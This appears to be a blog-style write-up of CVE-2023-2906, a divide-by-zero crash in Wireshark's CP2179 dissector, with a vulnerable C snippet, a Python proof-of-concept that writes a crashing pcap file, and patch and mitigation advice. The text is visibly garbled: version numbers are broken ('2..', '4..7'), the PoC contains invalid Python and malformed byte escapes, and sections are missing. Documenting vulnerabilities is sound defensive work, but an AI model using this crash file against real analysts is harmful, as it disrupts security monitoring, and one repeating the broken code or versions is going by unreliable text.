CVE-2023-2906 - Divide-by-Zero Vulnerability in Wireshark (2..

---

Wireshark is the world’s most popular network protocol analyzer, helping security engineers and network admins see what’s going on in their systems. But like any software that deals with untrusted data, it sometimes faces serious vulnerabilities.

CVE-2023-2906 is one such bug—a divide-by-zero flaw in how Wireshark parses CP2179 packets. This can let an attacker easily crash Wireshark by feeding it a specially crafted packet, leading to a simple but serious denial-of-service (DoS).

Let’s break down what happened, how it works, and how attackers can cause havoc using it.

1. What is CVE-2023-2906?

CVE-2023-2906 affects Wireshark versions from 2.. up through 4..7, before it was patched in later releases.

Outcome: Possible division by zero error, causing Wireshark to crash instantly

Wireshark is often used in environments where network packet capture files (pcap) from untrusted sources are opened for analysis. That means attackers just need to trick someone into opening a malicious file—or sniffing bad traffic live—to trigger the bug.

2. The Heart of the Bug

The vulnerability is all about not checking if a user-provided length is zero before using it in a division:

/* Vulnerable snippet (simplified) from the CP2179 dissector */
int packet_length = tvb_get_guint16(tvb, offset, ENC_LITTLE_ENDIAN);
/* ... */
int divisor = packet_length;
/* ... */
int result = 100 / divisor; // <--- Boom! divisor can be .

The code grabs a length value from the packet, assumes it’s safe, then divides by it. If an attacker sets that value to zero, the program will have a divide-by-zero exception, crashing Wireshark right away.

Wireshark crashes immediately, denying service to the user.

Some attackers might use this DoS to cover their other tracks or disrupt security monitoring.

4. Proof-of-Concept (PoC) Code

Here’s Python code to generate a malicious pcap file containing one dangerous CP2179 packet with a zero-length field. This can be imported directly into Wireshark to trigger the bug:

import struct

# Ethernet, IP, and UDP headers (dummy values)
eth_hdr = b'\x00\xa\x95\x9d\x1e\x5a' + b'\x00\xc\x29\x6f\x5e\x07' + b'\x08\x00'
ip_hdr = b'\x45\x00\x00\x2c\x00\x00\x40\x00\x40\x11\x7c\xd6\xc\xa8\x01\xf\xc\xa8\x01\x01'
udp_hdr = b'\x13\x88\x13\x89\x00\x18\x00\x00'

# Malformed CP2179 packet: length field set to  (2 bytes little-endian)
cp2179_hdr = struct.pack('<H', x000)

# Combine all headers
packet = eth_hdr + ip_hdr + udp_hdr + cp2179_hdr

# Write to pcap (pcap global header + one packet)
pcap_global_hdr = b'\xd4\xc3\xb2\xa1' + b'\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00' + b'\x00\x01\x00\x00'
pcap_pkt_hdr = b'\xaa\x77\x9f\x47\x44\x00\x00\x00\x44\x00\x00\x00\x44\x00\x00\x00'
with open('cve-2023-2906.pcap', 'wb') as f:
    f.write(pcap_global_hdr)
    f.write(pcap_pkt_hdr)
    f.write(packet)

WARNING: Opening this pcap file in a vulnerable version of Wireshark will crash it!

6. Original References and Fix

- Wireshark Security Advisory: wnpa-sec-2023-06
- CVE Record: CVE-2023-2906 on NVD
- Wireshark Commit Fix: commit e8b15e2
- Release notes: Wireshark 4..8 release notes

Patched Versions: Upgrade to Wireshark 4..8 or newer.

Avoid opening pcap files from untrusted sources

- When using older Wireshark, disable the CP2179 dissector if possible (Edit > Preferences > Protocols > CP2179 > uncheck “Enable”)

8. Conclusion

CVE-2023-2906 is a classic example of why input validation is critical when handling attacker-controlled data. Even simple bugs like divide-by-zero can be powerful DoS vectors in widely used security tools. Always keep your tools up-to-date, and never take captured traffic at face value—even in your own lab!

Want to learn more?

Check out these links for a deep dive

- Wireshark's official security advisories
- CP2179 dissector source code (latest)

Timeline

Published on: 08/25/2023 21:15:00 UTC
Last modified on: 09/15/2023 22:15:00 UTC